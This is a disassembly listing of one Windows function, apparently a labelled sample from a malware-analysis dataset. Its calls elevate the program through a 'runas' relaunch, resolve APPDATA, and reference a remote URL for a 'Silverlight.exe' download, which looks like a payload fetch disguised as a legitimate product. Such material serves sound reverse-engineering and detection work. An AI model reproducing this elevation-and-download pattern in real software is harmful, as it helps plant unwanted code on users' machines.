Function at 0x140002b68
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe38
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xda0], xmm7
movaps xmmword [rbp + 0xd90], xmm6
and rsp, 0xffffffffffffff80
mov qword [rsp + 0xc0], rdx
mov rbx, rcx
movzx eax, byte [rcx + 0x320]
push 1
pop rcx
mov qword [rsp + 0xb8], rcx
test eax, eax
mov qword [rsp + 0x58], rbx
je 0x140002bfa
cmp eax, 3
jne case.default.0x140002be4
lea r14, [rbx + 0x110]
movzx eax, byte [rbx + 0x110]
lea rdi, [rbx + 0x38]
lea rcx, [0x14000853c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x2b0], rdi
mov rsi, qword [rbx + 0x118]
jmp 0x140005b4c
lea rdi, [rsp + 0x170]
push 1
pop rsi
xorps xmm6, xmm6
lea rbx, [rsp + 0xd18]
lea r15, [rsp + 0x2c0]
and qword [rsp + 0x680], 0
and dword [rsp + 0xd18], 0
mov rcx, rdi
push 0x44
pop rdx
call fcn.140037022
mov ecx, 0x104
mov rdx, rsi
call fcn.1400a6f46
mov r13, rax
mov r14, rdx
mov rcx, rax
mov r8b, 1
call fcn.14000d73c
test rax, rax
je 0x140008179
mov r12, rax
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rdx
mov qword [rsp + 0x420], 0x104
movaps xmmword [rsp + 0x8e0], xmm6
movaps xmmword [rsp + 0x8d0], xmm6
movaps xmmword [rsp + 0x8c0], xmm6
movaps xmmword [rsp + 0x8b0], xmm6
movaps xmmword [rsp + 0x8a0], xmm6
movaps xmmword [rsp + 0x890], xmm6
movaps xmmword [rsp + 0x880], xmm6
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
push 8
pop rdx
lea r8, [rsp + 0x680]
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x140008158
mov rcx, qword [rsp + 0x680]
mov qword [rsp + 0x20], rbx
push send
pop rdx
mov r8, rsi
push 4
pop r9
call sub.ADVAPI32.dll_GetTokenInformation
test eax, eax
jne 0x140008158
mov dword [rsp + 0xd18], 0x44
mov r8, qword [rsp + 0x170]
push 0x1a
pop rcx
xor edx, edx
mov r9, rbx
call sub.ADVAPI32.dll_CreateWellKnownSid
cmp eax, 0xffffffff
je 0x140008158
call sub.SHELL32.dll_IsUserAnAdmin
test eax, eax
jne 0x140002e15
mov dword [rsp + 0xd18], 0x104
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
xor edx, edx
mov r8, r12
mov r9, rbx
call sub.KERNEL32.dll_QueryFullProcessImageNameA
call sub.USER32.dll_GetForegroundWindow
mov rcx, rax
xor edx, edx
call sub.USER32.dll_GetDlgItem
mov rcx, rax
mov edx, 0x160c
xor r8d, r8d
mov r9, rsi
call sub.USER32.dll_SendMessageA
movabs rax, 0x40c00000070
mov qword [rsp + 0x880], rax
mov ecx, dword [rsp + 0xd18]
cmp rcx, 0x105
jae 0x140008186
mov qword [rsp + 0x898], r12
mov rcx, r15
lea rdx, str.runasD:coding_rust_armutilutils_srclib.rs
push 5
pop r8
call fcn.14004ab93
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x890], rax
mov rcx, r15
call fcn.14000d698
and qword [rsp + 0x8a0], 0
and dword [rsp + 0x8b0], 0
lea rcx, [rsp + 0x880]
call sub.SHELL32.dll_ShellExecuteExA
test eax, eax
jne 0x140008158
cmp dword [rsp + 0x8b8], 0x1f
jne 0x140008158
lea rcx, [rsp + 0x410]
call fcn.14000d698
mov rcx, rdi
call fcn.14000d698
jmp 0x140002c18
lea rcx, [rsp + 0x410]
call fcn.14000d698
lea rcx, [rsp + 0x170]
call fcn.14000d698
lea rdx, str.APPDATA
lea rdi, [rsp + 0x880]
push 7
pop r8
mov rcx, rdi
call fcn.140099ca8
cmp dword [rdi], 1
je 0x1400081c1
lea rdi, [rsp + 0x880]
mov rax, qword [rdi + 0x18]
mov rcx, qword [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdi + 8]
movups xmmword [rcx], xmm0
lea rdx, str.Silverlight.exehttp:__softres.oss_accelerate.aliyuncs.com_Silverlight.exe
lea r8, [0x1400eedd0]
call fcn.14000d84e
call fcn.1400ba850
mov r14, rax
and qword [rdi], 0
mov rcx, rdi
call fcn.1400a95d0
mov qword [rsp + 0x410], rax
lock inc qword [rax]
jle 0x1400081aa
mov r15, rax
push 0x28
pop rcx
call fcn.140002a33
mov qword [rax], rsi
mov qword [rax + 8], rsi
and qword [rax + 0x10], 0
mov qword [rsp + 0x2c0], rax
lock inc qword [rax]
jle 0x1400081aa
mov rbx, rax
xor r12d, r12d
xor ecx, ecx
call fcn.1400b6b50
mov rdi, rax
test rax, rax
je 0x140002ef3
lock inc qword [rdi]
mov r12, rdi
jle 0x1400081aa
mov rcx, r12
call fcn.1400b6b50
lea rcx, [rsp + 0x880]
mov qword [rcx], rax
call fcn.140002201
push 0x18
pop rcx
call fcn.140002a33
mov qword [rax], r15
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
lea r9, [0x1400ee970]
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov rdx, r14
mov r8, rax
call fcn.1400bbb50
mov r14, qword [rdi]
mov rdi, qword [rdi + 8]
cmp r14, 1
jne 0x140002f70
mov r12, qword [rsp + 0x890]
lea rcx, [rsp + 0x2c0]
call fcn.14000258b
lea rcx, [rsp + 0x410]
call fcn.1400025bf
mov rsi, rdi
mov rdi, r12
cmp r14, 1
je 0x140008202
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], rbx
mov rbx, rax
mov rax, qword [rax]
mov rcx, qword [rbx + 0x10]
lea rdi, [rbx + 0x38]
lea rdx, [0x1400eedd0]
mov qword [rbx + 0x38], rdx
mov qword [rbx + 0x40], 0x3a
mov qword [rbx + 0x48], rax
mov qword [rbx + 0x50], rcx
lea r14, [rbx + 0x110]
mov byte [rbx + 0x110], 0
mov qword [rsp + 0x2b0], rdi
mov rdi, qword [rdi]
mov r15, qword [rbx + 0x40]
mov rdx, qword [rbx + 0x48]
mov r8, qword [rbx + 0x50]
lea rsi, [rsp + 0x880]
mov rcx, rsi
call fcn.1400d5893
cmp dword [rsi], 1
jne 0x14000302a
mov sil, byte [rsp + 0x888]
movzx eax, byte [rsp + 0x897]
shl eax, 0x10
movzx ecx, word [rsp + 0x895]
or ecx, eax
shl rcx, 0x20
mov edi, dword [rsp + 0x891]
or rdi, rcx
mov r15, qword [rsp + 0x889]
jmp 0x140007055
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0x80], r14
lea rsi, [rsp + 0x880]
mov rax, qword [rsi + 8]
mov qword [rbx + 0x58], rax
push 2
pop rdx
mov rcx, rsi
call fcn.1400371ff
lea rdx, str._NO_PROXYno_proxy
lea r12, [rsp + 0x410]
push 3
pop r8
mov rcx, r12
call fcn.14002995e
xorps xmm6, xmm6
lea r8, [rsp + 0x2c0]
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
and qword [r8 + 0x20], 0
lea r14, [rsp + 0x170]
mov rcx, r14
mov rdx, rsi
mov r9, r12
call fcn.140040dc1
mov rcx, r14
call fcn.140033e2a
push 0xc
pop rax
lea rdx, [rsp + 0xd18]
mov rcx, rax
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
lea rbx, [rsp + 0x2c0]
mov rcx, rax
mov rdi, rbx
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
and qword [rbx + 0x60], 0
push 1
pop rax
mov qword [rbx + 0x78], rax
mov qword [rbx + 0x80], 0x5a
and dword [rbx + 0x88], 0
or qword [rbx + 0x90], 0xffffffffffffffff
and qword [rbx + 0x98], 0
mov rcx, qword [0x1401f1dd0]
mov qword [rbx + 0xb0], rcx
movups xmmword [rbx + 0xb8], xmm6
mov qword [rbx + 0xc8], rax
mov qword [rbx + 0xd0], 0xa
movups xmmword [rbx + 0xd8], xmm6
mov qword [rbx + 0xf8], rcx
movups xmmword [rbx + 0x100], xmm6
movups xmmword [rbx + 0x10c], xmm6
and dword [rbx + 0x120], 0
and dword [rbx + 0x128], 0
mov byte [rbx + 0x130], 2
movabs rax, 0x101010001
mov qword [rbx + 0x144], rax
mov word [rbx + 0x14c], 1
mov byte [rbx + 0x14e], 0
mov rax, qword [rbx + 0xb8]
mov qword [rsp + 0x70], rax
mov rax, qword [rbx + 0xc0]
mov qword [rsp + 0x78], rax
lea rax, [0x140202b30]
mov qword [r14], rax
mov rax, qword [0x140202b38]
cmp rax, 3
jne 0x140004f96
mov rax, qword [rsp + 0x170]
mov rax, qword [rax]
lock inc qword [rax]
jle 0x1400081aa
lea rdi, [rsp + 0x8d8]
mov qword [rdi - 0x58], 3
mov qword [rdi - 0x50], rax
and qword [rdi], 0
lea rdx, [0x1401b3bdb]
lea rcx, [rsp + 0x410]
push 8
pop r8
call fcn.140099ca8
lea rax, [rsp + 0x418]
cmp dword [rax - 8], 1
mov qword [rsp + 0xa0], r15
jne 0x140003305
mov rcx, qword [rax + 0x10]
lea rsi, [rsp + 0x680]
mov qword [rsi + 0x10], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsi], xmm0
lea rdx, [0x1401b3be3]
lea rbx, [rsp + 0x170]
push 8
pop r8
mov rcx, rbx
call fcn.140099ca8
mov rcx, rsi
call fcn.14000259b
cmp dword [rbx], 1
push 4
pop rbx
jne 0x14000331f
mov rax, qword [0x1401f3650]
xorps xmm0, xmm0
movups xmmword [rsp + 0x828], xmm0
mov qword [rsp + 0x820], rax
lea rcx, [rsp + 0x170]
call fcn.14009bdc7
jmp 0x1400038a4
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x188], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x178], xmm0
push 4
pop rbx
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x820], xmm0
mov rsi, qword [rsp + 0x188]
mov qword [rsp + 0x830], rsi
test rsi, rsi
je 0x1400038a4
mov rax, qword [reloc.WS2_32.dll_connect]
lea rcx, [rsp + 0x568]
mov qword [rcx - 8], rax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov rax, qword [0x1401f1dd0]
mov qword [rsp + 0x68], rax
mov r14, qword [rsp + 0x820]
lea rdi, [rsp + 0x44c]
and dword [rdi - 0x3c], 0
push 0x2c
pop rcx
lea r15, [rsp + 0x410]
mov rdx, r15
call fcn.140099bf7
mov eax, dword [rdi - 0x3c]
and qword [rdi - 0x3c], 0
mov qword [rdi - 0x34], rsi
mov qword [rdi - 0x2c], r14
mov qword [rdi - 0x24], rsi
and qword [rdi - 0x1c], 0
mov qword [rdi - 0x14], rsi
mov qword [rdi - 0xc], rdx
mov dword [rdi - 4], 0x2c
mov dword [rdi], eax
mov word [rdi + 4], 1
xor eax, eax
lea r13, [rsp + 0xf0]
xor ecx, ecx
mov qword [rsp + 0x50], rcx
xor ecx, ecx
mov qword [rsp + 0x60], rcx
push 1
pop rdi
test al, al
jne 0x1400038bf
mov r12, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x430]
mov rax, qword [rsp + 0x438]
mov r8, rax
sub r8, rdx
setb cl
cmp qword [rsp + 0x428], rax
setb al
or al, cl
jne 0x14000351a
mov rax, qword [rsp + 0x440]
add rdx, qword [rsp + 0x420]
mov cl, byte [rax + r15 + 0x3b]
cmp r8, 0xf
ja 0x140003447
xor eax, eax
cmp r8, rax
je 0x140003451
cmp byte [rdx + rax], cl
je 0x140003455
inc rax
jmp 0x140003438
call fcn.140013940
mov r8, rdx
jmp 0x14000345b
xor eax, eax
jmp 0x14000345b
mov r8, rax
mov rax, rdi
cmp rax, 1
jne 0x14000350a
mov rax, qword [rsp + 0x430]
mov rsi, qword [rsp + 0x440]
add rax, r8
inc rax
mov qword [rsp + 0x430], rax
mov r14, rax
sub r14, rsi
jb 0x1400033ef
cmp qword [rsp + 0x428], rax
jb 0x1400033ef
mov r15, qword [rsp + 0x420]
add r15, r14
lea rax, [0x1401f11b0]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, rsi
lea r8, [rsp + 0x44c]
mov r9, rbx
call fcn.14000c470
mov r9, rdx
mov rcx, r15
lea r15, [rsp + 0x410]
mov rdx, rsi
mov r8, rax
call fcn.14000df90
test al, al
je 0x1400033ef
mov rax, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x430]
add r12, rax
sub r14, rax
mov qword [rsp + 0x410], rcx
jmp 0x140003570
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x430], rax
cmp byte [rsp + 0x451], 0
jne 0x1400038bf
cmp byte [rsp + 0x450], 0
je 0x140003544
mov r12, qword [rsp + 0x410]
mov r14, qword [rsp + 0x418]
jmp 0x14000355d
mov r12, qword [rsp + 0x410]
mov r14, qword [rsp + 0x418]
cmp r14, r12
je 0x1400038bf
mov byte [rsp + 0x451], 1
sub r14, r12
add r12, qword [rsp + 0x420]
mov qword [rsp + 0x680], r12
mov qword [rsp + 0x688], r14
and qword [rsp + 0x690], 0
mov qword [rsp + 0x170], rdi
lea rax, [0x1401a8938]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], rdi
lea rax, [0x1401a8960]
mov qword [rsp + 0x188], rax
push 0x20
pop rsi
lea rdi, [rsp + 0x170]
test rsi, rsi
je 0x1400035fb
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov rcx, r13
lea r8, [rsp + 0x680]
call qword [rax + 0x18]
mov bl, byte [rsp + 0xf0]
cmp bl, 2
jne 0x1400035ff
add rdi, 0x10
and qword [rsp + 0x690], 0
add rsi, 0xfffffffffffffff0
jmp 0x1400035c2
mov bl, 2
jmp 0x14000361c
lea rcx, [rsp + 0xf1]
mov eax, dword [rcx + 0xf]
mov dword [rsp + 0x5ef], eax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x5e0], xmm0
push 0x20
pop rsi
lea rdi, [rsp + 0x170]
test rsi, rsi
je 0x140003656
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
call qword [rax]
mov rax, qword [rdi + 8]
cmp qword [rax + 8], 0
je 0x14000364c
mov rcx, qword [rdi]
mov rdx, qword [rax + 0x10]
call fcn.14000b4d0
add rdi, 0x10
add rsi, 0xfffffffffffffff0
jmp 0x140003627
cmp bl, 2
jne 0x140003663
push 1
pop rdi
jmp 0x1400036e3
mov rax, qword [rsp + 0x690]
cmp rax, qword [rsp + 0x688]
push 1
pop rdi
jne 0x1400036e3
mov eax, dword [rsp + 0x5ef]
mov dword [rsp + 0xff], eax
movaps xmm0, xmmword [rsp + 0x5e0]
movaps xmmword [rsp + 0xf0], xmm0
mov byte [rsp + 0x174], bl
mov eax, dword [rsp + 0xff]
lea rcx, [rsp + 0x174]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rcx + 1], xmm0
mov dword [rsp + 0x170], 1
lea rcx, [rsp + 0x560]
lea rdx, [rsp + 0x170]
call fcn.1400a12c8
push 4
pop rbx
jmp 0x140003898
lea rcx, [rsp + 0x5e0]
mov rdx, r12
mov r8, r14
call fcn.1400b9f20
cmp byte [rsp + 0x5e0], 2
push 4
pop rbx
jne 0x140003733
mov rcx, r13
mov rdx, r12
mov r8, r14
call fcn.14004ab93
mov rsi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x50]
cmp rsi, r14
jne 0x140003772
mov rsi, r14
inc rsi
jne 0x14000377a
mov rcx, rdi
xor r8d, r8d
jmp 0x140003847
mov eax, dword [rsp + 0x5f0]
lea rcx, [rsp + 0x174]
mov dword [rcx + 0x10], eax
movups xmm0, xmmword [rsp + 0x5e0]
movups xmmword [rcx], xmm0
and dword [rsp + 0x170], 0
lea rcx, [rsp + 0x560]
lea rdx, [rsp + 0x170]
call fcn.1400a12c8
jmp 0x140003898
mov rax, rsi
jmp 0x140003869
lea rax, [r14 + r14]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 4
cmovbe rsi, rbx
mov rax, rsi
push 0x18
pop rcx
mul rcx
jno 0x14000379d
xor r8d, r8d
jmp 0x1400037ab
mov rcx, rax
push 8
pop rdx
call fcn.1400a6f46
mov r8, rdx
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400037dc
imul rcx, rcx, 0x18
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x170], rdx
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], 8
jmp 0x1400037e5
and qword [rsp + 0x170], 0
lea rcx, [rsp + 0x680]
mov rdx, rax
lea r9, [rsp + 0x170]
call fcn.1400a6fc7
mov rsi, qword [rsp + 0x688]
mov rax, qword [rsp + 0x690]
cmp qword [rsp + 0x680], 1
jne 0x140003825
mov r14, qword [rsp + 0x50]
mov rcx, rdi
mov r8, rax
jmp 0x140003847
xor edx, edx
push 0x18
pop rcx
div rcx
mov r14, rax
mov qword [rsp + 0x68], rsi
xor ecx, ecx
mov rsi, qword [rsp + 0x98]
mov r8, qword [rsp + 0x88]
mov rdx, rsi
mov qword [rsp + 0x88], r8
call fcn.14000d937
mov qword [rsp + 0x98], rsi
mov rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x50]
imul rax, rax, 0x18
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x68]
mov qword [rdx + rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdx + rax], xmm0
inc rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x50], r14
mov al, byte [rsp + 0x451]
jmp 0x1400033df
lea rcx, [rsp + 0x820]
call fcn.14000d698
xor ebx, ebx
mov r13, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
jmp 0x140003908
mov rbx, qword [rsp + 0x560]
lea rax, [rsp + 0x568]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x410], xmm0
lea rcx, [rsp + 0x820]
call fcn.14000d698
mov r13, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
lea rdi, [rsp + 0x8d8]
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x60]
mov r12, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1400579a4
mov qword [rsp + 0x8d8], rbx
movaps xmm0, xmmword [rsp + 0x410]
movups xmmword [rsp + 0x8e0], xmm0
mov qword [rsp + 0x8f0], r15
mov qword [rsp + 0x8f8], r12
mov qword [rsp + 0x900], r14
cmp r13, rsi
jne 0x140003960
mov rbx, rsi
push 1
pop r14
inc rbx
mov r15, qword [0x1401f1dd0]
jne 0x140003984
xor r8d, r8d
jmp 0x140003a19
mov r12, rsi
mov rsi, r13
mov r15, qword [0x1401f1dd0]
jmp 0x140003a3f
lea rax, [rsi + rsi]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 4
push 4
pop rax
cmovbe rbx, rax
mov ecx, 0x88
mov rax, rbx
mul rcx
jno 0x1400039ac
xor r8d, r8d
jmp 0x1400039ba
push 8
pop rdx
mov rcx, rax
call fcn.140056262
mov r8, rdx
test rsi, rsi
je 0x1400039e4
imul rcx, rsi, 0x88
mov qword [rsp + 0x410], r15
mov qword [rsp + 0x418], rcx
mov qword [rsp + 0x420], 8
jmp 0x1400039ed
and qword [rsp + 0x410], 0
lea r12, [rsp + 0x170]
lea r9, [rsp + 0x410]
mov rcx, r12
mov rdx, rax
call fcn.14000d95f
mov rbx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
cmp qword [r12], 1
jne 0x140003a1e
mov r12, rsi
jmp 0x140003a34
xor r14d, r14d
mov ecx, 0x88
mov rax, r8
xor edx, edx
div rcx
mov r12, rax
mov r15, rbx
mov rcx, r14
mov rdx, rbx
call fcn.14000d937
imul rcx, rsi, 0x88
add rcx, r15
lea rdx, [rsp + 0x880]
mov r8d, 0x88
call fcn.1400def70
inc r13
push 0x28
pop rcx
push 8
pop rdi
mov rdx, rdi
call fcn.140035b9b
push 1
pop rbx
mov qword [rax], rbx
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r13
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x7f0], rax
cmp byte [rsp + 0x40d], 0
jne 0x14000827a
lea rsi, [rsp + 0x3d0]
mov ecx, 0x98
mov rdx, rdi
call fcn.140035b9b
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rbx
and qword [rax + 0x10], 0
mov rax, rbx
mov qword [rsp + 0x5d8], rbx
mov qword [rcx + 0x28], rbx
and qword [rcx + 0x30], 0
mov dword [rcx + 0x38], 0x11e1a300
and qword [rcx + 0x40], 0
and qword [rcx + 0x58], 0
and qword [rcx + 0x68], 0
and dword [rcx + 0x78], 0
mov word [rcx + 0x80], 1
mov qword [rsp + 0x60], rcx
and word [rcx + 0x92], 0
mov rbx, qword [0x1401f1dd0]
mov al, byte [rsi + 0x34]
xor al, 1
mov byte [rsp + 0x88], al
mov al, byte [rsi + 0x38]
xor al, 1
mov byte [rsp + 0x98], al
mov rdi, qword [rsi - 0x18]
mov rax, qword [rsi - 0x10]
mov qword [rsp + 0x68], rax
mov r12, qword [rsi - 8]
shl r12, 3
xor esi, esi
xor r15d, r15d
xor r13d, r13d
mov rdx, r12
sub rdx, rsi
je 0x140003c14
mov r14, qword [rdi + rsi]
cmp r13, r15
jne 0x140003bb5
mov rax, r15
inc rax
je 0x14000819e
lea rcx, [r15 + r15]
cmp rcx, rax
cmova rax, rcx
cmp rax, 4
push 4
pop rcx
cmovbe rax, rcx
xor r8d, r8d
push 8
pop rcx
mul rcx
setno r8b
shl r8, 3
test r15, r15
je 0x140003bbd
lea rcx, [r15*8]
mov qword [rsp + 0x880], rbx
mov qword [rsp + 0x888], rcx
mov qword [rsp + 0x890], 8
jmp 0x140003bc6
mov rdx, r15
mov r15, r13
jmp 0x140003c01
and qword [rsp + 0x880], 0
lea rcx, [rsp + 0x410]
mov rdx, rax
lea r9, [rsp + 0x880]
call fcn.1400a6fc7
mov rbx, qword [rsp + 0x418]
mov rdx, qword [rsp + 0x420]
cmp qword [rsp + 0x410], 1
je 0x140008199
shr rdx, 3
mov qword [rbx + r15*8], r14
inc r13
add rsi, 8
mov r15, rdx
jmp 0x140003b42
sar rdx, 3
add rsi, rdi
mov rcx, rsi
call fcn.1400a0fec
lea rcx, [rsp + 0x880]
mov qword [rcx], rdi
mov rax, qword [rsp + 0x68]
mov qword [rcx + 8], rax
call fcn.140098acb
and qword [rsp + 0xf0], 0
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], r15
mov qword [rsp + 0x110], r13
mov word [rsp + 0x118], 0x501
mov al, byte [rsp + 0x88]
mov byte [rsp + 0x11a], al
mov word [rsp + 0x11b], 0x100
mov al, byte [rsp + 0x98]
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x50]
lock inc qword [rax]
jle 0x1400081aa
mov rax, qword [0x1401b3c38]
lea rdx, [rsp + 0x880]
mov qword [rdx + 0x20], rax
movups xmm0, xmmword [0x1401b3c28]
movaps xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x1401b3c18]
movaps xmmword [rdx], xmm0
lea rcx, [rsp + 0x2c0]
call fcn.14001e90c
test rax, rax
je 0x140003ce8
lea rcx, [rsp + 0x560]
mov rdx, rax
call fcn.14008f8de
jmp 0x140003cf0
mov byte [rsp + 0x580], 2
mov r15b, byte [rsp + 0x3f0]
lea rcx, [rsp + 0x3d0]
movzx eax, word [rcx + 0x21]
mov word [rsp + 0x5c0], ax
mov al, byte [rcx + 0x23]
mov byte [rsp + 0x5c2], al
mov esi, dword [rsp + 0x3f4]
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x5e0], rax
mov al, byte [rsp + 0x400]
mov byte [rsp + 0x5e8], al
mov r13b, byte [rsp + 0x40c]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x640], rax
mov r12, qword [rsp + 0xf0]
cmp r12, 1
jne 0x140003d82
mov rcx, qword [rsp + 0xf8]
call sub.CRYPT32.dll_CertDuplicateCertificateContext
mov qword [rsp + 0x68], rax
push 1
pop rdi
jmp 0x140003d84
xor edi, edi
and qword [rsp + 0x20], 0
push 2
pop rcx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.CRYPT32.dll_CertOpenStore
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140003e0a
mov dword [rsp + 0xb0], esi
mov byte [rsp + 0x78], r13b
mov rbx, qword [rsp + 0x100]
mov r14, qword [rsp + 0x110]
shl r14, 3
lea r13, [rsp + 0x880]
test r14, r14
je 0x140003e1a
mov rcx, r13
mov rdx, qword [rsp + 0x70]
mov r8, rbx
call fcn.1400a7a0d
mov rsi, qword [rsp + 0x888]
cmp qword [rsp + 0x880], 1
je 0x140003e8c
add rbx, 8
mov rcx, rsi
call fcn.1400ddeb8
add r14, 0xfffffffffffffff8
jmp 0x140003dcc
call fcn.1400b4ed0
mov rsi, rax
mov r14, rdx
jmp 0x140003ea3
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x8a0], rax
movups xmm0, xmmword [rsp + 0x560]
movups xmm1, xmmword [rsp + 0x570]
movaps xmmword [rsp + 0x890], xmm1
movaps xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x790], rax
xor r12d, r12d
cmp r15b, 1
je 0x140003f30
mov r14d, 0
cmp r15b, 2
mov r13b, byte [rsp + 0x78]
mov ebx, dword [rsp + 0xb0]
je 0x140003f7b
xor r14d, r14d
push 1
pop r12
jmp 0x140003f7b
mov r14, qword [rsp + 0x890]
mov rcx, qword [rsp + 0x70]
call fcn.1400a7a01
mov r13b, byte [rsp + 0x78]
test r12, r12
mov rcx, qword [rsp + 0x68]
je 0x140003eb2
call fcn.1400ddeb8
cmp sil, 3
jne 0x140003ebc
xor esi, esi
jmp 0x140003eca
mov rcx, rsi
mov rdx, r14
call fcn.14003ee11
mov rsi, rax
push 0x70
pop rcx
push 8
pop rdx
call fcn.140035b9b
mov rdi, rax
mov qword [rax], rsi
lea rax, [0x1401b0e68]
mov qword [rdi + 8], rax
mov dword [rdi + 0x50], 2
and word [rdi + 0x68], 0
lea rcx, [rsp + 0x560]
call fcn.140033e2a
lea rcx, [rsp + 0x640]
call fcn.14005787a
lea rcx, [rsp + 0xf0]
call fcn.1400a13c8
lea rcx, [rsp + 0x530]
call fcn.14005784d
mov al, 1
mov rbx, rdi
jmp 0x140004067
mov al, byte [rsp + 0x5c2]
mov byte [rsp + 0x292], al
movzx eax, word [rsp + 0x5c0]
mov word [rsp + 0x290], ax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x410], rax
mov al, byte [rsp + 0x5e8]
mov byte [rsp + 0x418], al
mov r14b, 1
mov r13b, byte [rsp + 0x78]
mov ebx, dword [rsp + 0xb0]
movzx eax, word [rsp + 0x290]
mov word [rsp + 0xd0], ax
mov al, byte [rsp + 0x292]
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x820], rax
mov al, byte [rsp + 0x418]
mov byte [rsp + 0x828], al
lea rsi, [rsp + 0x790]
mov rcx, rsi
call fcn.1400473bf
mov dword [rax + 0x68], r12d
mov dword [rax + 0x6c], ebx
movzx ecx, word [rsp + 0xd0]
mov word [rax + 0x72], cx
mov cl, byte [rsp + 0xd2]
mov byte [rax + 0x74], cl
mov dword [rax + 0x75], ebx
mov rcx, qword [rsp + 0x820]
mov qword [rax + 0x79], rcx
mov cl, byte [rsp + 0x828]
mov byte [rax + 0x81], cl
mov byte [rax + 0x71], r14b
mov rcx, rsi
call fcn.1400473bf
mov byte [rax + 0x70], 0
mov rbx, qword [rsi]
movaps xmm0, xmmword [rsp + 0x880]
movaps xmm1, xmmword [rsp + 0x890]
mov rax, qword [rsp + 0x8a0]
movups xmm2, xmmword [rsp + 0x880]
movaps xmmword [rsp + 0x410], xmm2
mov qword [rsp + 0x440], rax
movaps xmmword [rsp + 0x430], xmm1
movaps xmmword [rsp + 0x420], xmm0
lea rcx, [rsp + 0xf0]
call fcn.1400a13c8
xor eax, eax
mov r14, qword [rsp + 0x68]
movaps xmm0, xmmword [rsp + 0x410]
movaps xmm1, xmmword [rsp + 0x420]
movaps xmm2, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x190], xmm2
mov rcx, qword [rsp + 0x440]
mov qword [rsp + 0x1a0], rcx
test al, al
jne 0x1400082c8
mov qword [rsp + 0x690], r14
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x698], rax
mov dword [rsp + 0x6a0], 0x10501
mov al, byte [rsp + 0x88]
mov byte [rsp + 0x6a4], al
mov al, byte [rsp + 0x98]
mov byte [rsp + 0x6a5], al
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x6b8], xmm0
movups xmmword [rsp + 0x6c8], xmm1
movups xmmword [rsp + 0x6d8], xmm2
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x6e8], rax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x6f2], eax
movzx eax, word [rsp + 0x15c]
mov word [rsp + 0x210], 0x101
xor ecx, ecx
mov byte [rsp + 0x212], cl
and qword [rsp + 0x170], 0
mov word [rsp + 0x6f6], ax
